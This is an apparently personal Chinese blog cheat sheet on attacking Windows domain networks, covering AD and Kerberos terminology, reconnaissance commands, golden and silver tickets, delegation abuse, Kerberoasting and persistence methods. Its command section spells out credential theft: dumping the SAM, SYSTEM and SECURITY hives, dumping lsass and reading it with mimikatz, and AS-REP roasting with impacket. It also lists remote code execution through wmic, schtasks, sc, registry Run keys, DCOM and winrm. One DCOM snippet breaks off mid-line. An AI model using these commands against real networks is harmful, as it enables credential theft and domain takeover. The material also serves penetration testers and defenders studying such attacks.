论安全萌新的自我修养

   :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

格式未整理,不过都是搞技术的,自行忽略格式,看看相关理论才是最重要吧

  • 术语
    工作组:工作组是局域网中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的computer按照不同的要求分类到不同的组
    域:用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域 (Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
    * 域术语:
    DC:域控,域的创建者
    域管理:域控上的管理员
    AD活得目录:Active Directory
    NTDS.dit:域用户帐户以域数据库的形式保存在活动目录中
    Ntdsutil.exe-ntdsutil.exe是域控制器自带的域数据库管理工具,从windows Server 2008开始就默认自带了。因此我们可以通过ntdsutil.exe提取出域中所有的域用户信息
    常见结构:组织单元(OU)、域(DOMAIN)、域数(tree)、域森林(forest),在域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据
    活动目录:
    * 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
    * 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
    * 环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
    * 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。
    * 更可靠:更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。
    * 活动目录为Microsoft统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。

      	默认用户组:
      		* Builtin容器:Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组。
      		* Computers容器:Computers容器是Active Driectory默认创建的第2个容器,用于存放Windows Server 2008域内所有成员计算机的计算机账号。
      		* Domain Controllers容器:Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。
      		* Users容器:Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户
      	
      	域结构:
      		* 单域:在一般的具有固定地理位置的小公司里,建立一个域就可以满足所需。
      		* 域树:域树指若干个域通过建立信任关系组成的集合。一个域管理员只能管理本域的内部,不能访问或者管理其他的域,二个域之间相互访问则需要建立 信任关系 (Trust Relation)。信任关系是连接在域与域之间的桥梁
      		* 域林:由一个或多个没有形成连续名称空间的域树组成,林中每个域树都有唯一的名称空间,之间不连续
      		* 父域和子域:第一个域称为父域也可以叫根域 ,各分部的域称为该域的子域
      		
      		Example:
      			只有一个test.com的域叫作域林,又叫单域林
      			有一个域叫test.com和一个域叫abc.test.com,test.com叫父域,abc.test.com子域。子域建立在父域的基础上,双方自动拥有双向信任,这又叫域树
      	
      	域信任关系:
      		* 单向信任:单向信任只能是受信任域访问信任域,而信任域不能访问受信任域
      		* 双向信任:两个域可以互相访问
      		* 父子信任:父域与子域之间自动建立起了双向信任关系,并且信任关系可以传递
      		* 树信任:同一个林中,林根域与其他树根域自动建立双向信任关系。信任关系可传递
      		* 快捷方式信任:为了加速认证流程而产生的信任关系。需要管理员手工建立,信任关系可向下传递
      		* 林信任:在不更改AD结构的情况下,让不同林之间可以相互访问资源。信任关系可向下传递
      		* 外部信任/ 跨林快捷方式信任:类似于同林内的快捷方式信任. 单向, 信任关系不可传递
      		* 领域信任:为了让AD跟非windows系统的kerberos建立关系而存在的信任
      	
      	默认用户krbtgt:
      		每个Active Directory域都有一个关联的KRBTGT帐户,该帐户用于加密和签名该域的所有Kerberos票证。这是一个域帐户,以便所有可写域控制器都知道该帐户的密码,以便解密Kerberos票证以进行验证。每个只读域控制器(RODC)都有自己的个人KRBTGT帐户,用于在自己的站点中对Kerberos票证进行加密/签名。RODC具有通过该帐户的反向链接与RODC关联的特定KRBTGT帐户
      	
      	协议(什么认证过程之类的就不写了,太麻烦了):
      		kerberos
      			概念:
      				1、KDC 服务默认会安装在一个域的域控中(认证中心)
      				2、从物理层面看,AD与KDC均为域控制器(Domain Controller)
      				3、AD其实是一个类似于本机SAM的一个数据库,全称叫account database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT
      				4、KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。
      				TGT:kerberos票据
      				TGS:服务票据
      		
      		S4U2Self
      			通过此扩展可以拿到一张标识任意用户身份的TGS(图中是去获取的用户X身份的TGS),上文已经解释过了,它的作用其实是协议转换。当用户X使用非Kerberos协议请求网站A的时候,网站A是没有用户X的TGS的,但是是网站A要去获取文件服务器B的访问权限(TGS)需要用户X的TGS,因此S4U2Self解决了这个问题,网站A服务器可以使用它去向KDC请求一张用户X身份的TGS,网站A服务器再用这张TGS去发起S4U2proxy请求。
      		S4U2proxy 
      			该拓展作用是使用一张用户X身份的TGS去向KDC请求一张用于访问文件服务器B的TGS,这张TGS的身份还是用户X,这样网站A就可以利用用户X的权限去访问文件服务器B上的文件了
      		
      	票据:
      		黄金票据:通过使用krbtgt的hash伪造某个用户的TGT,可以访问域内任何一台computer
      		白银票据:通过s4u申请高权限TGS可以用高权限的TGS访问service
    
  • 判断是否有内网

    • 明确获取目标内网网段地址范围
    • 内网是否有域
  • 内网信息搜集

    • 无域

      • 搜集存活主机

      • 存活主机的系统类型

      • 搜集内网的web主机

        • CMS识别
        • 内网ip和域名的绑定
        • 拥有漏洞的站点
      • 有数据库的主机

      • 内网路由

      • 内网数据库主机

      • 内网打印机 (少见)

      • 内网常见的服务

        • smb -> net view
        • ssh
        • vpn
        • ftp
        • rdp
    • 有域

      • 判断DC
      • 是否多域
      • 拥有服务的用户信息查询(spn)
      • 查看域用户
      • 搜集存活主机(涵盖无域所收集的)
      • 当前域用户所属组
      • 有ACL属性的用户收集
      • ldap信息收集(如果可以)
  • 横向

    • 无域

      • 各种win exp可利用的洞
        • MS08-067
        • MS17-010
        • SMBGhost
        • 未知洞
        • smb hash钓鱼
        • hash传递攻击
      • web攻击
      • 钓鱼管理员
    • 有域

      • 各种win exp可利用的洞
      • ldap攻击
      • kerberos攻击
        • 未要求Kerberos验证的用户
        • kereros非约束委派攻击
          • 非约束委派+Spooler打印机服务 制作黄金票据
          • kerberos非约束委派中继攻击
        • kerberos约束委派攻击
          • 受限委派 + DCSync 维持域权限
        • MS14-068攻击
        • kerberos资源委派攻击(从widnows server 2012开始才有)->ACL属性的用户攻击
        • GPP漏洞
  • 权限维持

    • 有域
      • 变种金票 (适用于windows server 2008或以下,12开始不能使了)
      • 受限委派 + DCSync 维持域权限
      • 非约束委派+Spooler打印机服务 制作黄金票据
      • Kerberoasting (利用powershell请求SPN的TGS,然后导出破解得到server的密码(感觉没啥必要破解))
      • DSRM密码同步
      • 利用GPO给域内的主机批量执行脚本
      • SSP
      • Skeleton Key
      • Hook PasswordChangeNotify
      • LAPS
  • 检查能否出网

    • ping
    • tracert -d -h
    • curl
  • 凭证查询

    • cmdkey /list查询当前凭证
    • klist查询当前票据
    • 登录的密码 or hash
    • 浏览器密码
    • 各种服务的密码
      • FTP
      • mysql
      • mssql
      • ssh
      • vnc
  • 内网钓鱼

    • NTLM-Relay
    • smb资源文件跳转
    • 恶意lnk
    • 其他
  • 日内网常见的入口点

    • web拿到shell->上线
    • sqlmap os-sell->上线
    • 附件钓鱼->钓鱼
    • 其他
  • 域内/内网 常用命令分类
    判断内网是否域环境


net config workstation #判断是否显示登录域,如果有则代表存在域环境(查询机器属于那个域)
net user /domain #如果返回正常,则代表有域环境

判断内网DC

ipconfig /all #DNS地址,如果有两个不同的DNS可能有多个DC
set l #获取域控主机名然后去ping主机名
net time /domain #查询域主机名,ping主机名得到ip
ping #直接ping域名活得域控主机ip
端口扫描寻找内网开放53端口(DNS解析)的主机或者开了88端口(Kerberos服务),更准确一点确认的就是53和88端口一起开放的机子

多域判断

nltest /domain_trusts #查询域信任关系 (abc.xxx.com,xxx.com這種是域樹,xxx.com,ccc.com這種叫域林,沒域信任或只有個域的就是單域)

SPN查询

setspn -T -Q / #寻找类似于:CN=krbtgt,CN=Users,DC=DOMAIN,DC=local这样的,第一个CN是用户 (图片补充)
使用powershell脚本查询:
powershell -f GetUserSPNs.ps1(图片补充)
仓库地址:https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1

Rubeus查询:(获取是spn用户的hash)
Rubeus.exe kerberoast(图片补充)

域用户查询

net user /domain #域用户
net user /domain #指定域用户查询
net group /domain #查询域用户组
net group "<group_name>" /domain #查询某个域用户组(查看net group /domain列出来的域用户组)
net group "domain admins" /domain #域管理
net group "Domain Controllers" /domain #域控列表查询

搜集存活主机

arp -a | findstr 动态
工具:
* S扫描器
* nmap
* Goby
* IP Scan
* masscan
* 其他

内网共享查询

net share
net view
net view /domain

  • 攻击方法
    有域

未要求Kerberos验证的用户
要求:
* 拥有域用户列表

用户如下示例(补充图片)

使用impacket工具:
python3 GetNPUsers.py DOMAIN/ -usersfile /tmp/user.txt -format john -outputfile /tmp/out.txt -dc-ip 192.168.1.109
(补充图片)

kerberos非约束委派攻击:
* 委派的是主机->得到被委派主机的权限
* 委派的是用户->得到被委派主机的权限

kerberos约束委派攻击:
* 得到被委派的用户账户或hash或TGT

查询了设置非委派约束的用户
Ps:域控制器主机账户默认开启非限制委派
利用SharpView(PowerView的C#版)
https://github.com/tevora-threat/SharpView
该工具的命令格式是:SharpView.exe

执行:
SharpView.exe Get-Netuser -Unconstrained -Domain DOMAIN.local(图片补充) 感觉还是setspn查出来的靠谱
SharpView.exe Get-NetUser -Filter "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -Domain DOMAIN.local

查询设置了约束委派的用户:
Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl

新版PowerView

Get-NetUser -Filter "(&(samAccountType=805306368)(msds-allowedtodelegateto=))" -Domain lab.local
Get-NetComputer-Filter "(&(samAccountType=805306369)(msds-allowedtodelegateto=
))" -Domain lab.local

域内常用的工具:
mimikatz
kekeo
Rubeus
Spooler
lazagne
Bloodhound
PowerView
impacket套件

端口转发:
netsh
ssh
reGeorg
ew
lcx

常见获取凭证的手法:
注册表dump:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

lsass dump:
prodump导出:
prodump -ma lsass.exe lsass.dump

	mimikatz:
	sekurlsa::mimidump lsass.dump
	sekurlsa::logonpasswords

mimikatz导出:
privilege::debug
token::elevate
lsadump::sam

常见远程连接:
* ipc
net use \1.1.1.1\ipc$ “password” /user:username

* wmic
	wmic /user:"jumbolab.com\win7user"  /password:"password" /node:172.16.127.184 process call create "notepad"
	(powershell) Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’

* schtasks
	schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru “SYSTEM” /tn “windowsupdate”  /sc DAILY /tr “calc” /F

* at
	at \\1.1.1.1 15:15 ca

* sc
	sc \\1.1.1.1 create windowsupdate binpath= “calc”
	sc \\1.1.1.1 start windowsupdate

* reg
	reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc"
	
* DCOM
	net use \\1.1.1.1 “password” /user:domain.com\username
	
	powershell
	a->
	$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))
	$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

	b->
	$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
	$obj = [System.Activator]::CreateInstance($com)
	$item = $obj.item()
	$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

	c->
	$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
	$obj = [System.Activator]::CreateInstance($com)
	$obj.Document.Application.ShellExecute("cmd.exe","/c 

* winrm
	1.winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password  "whoami"
	2.winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami "
posted on 2020-12-12 16:06  Yangsir34  阅读(573)  评论(0编辑  收藏  举报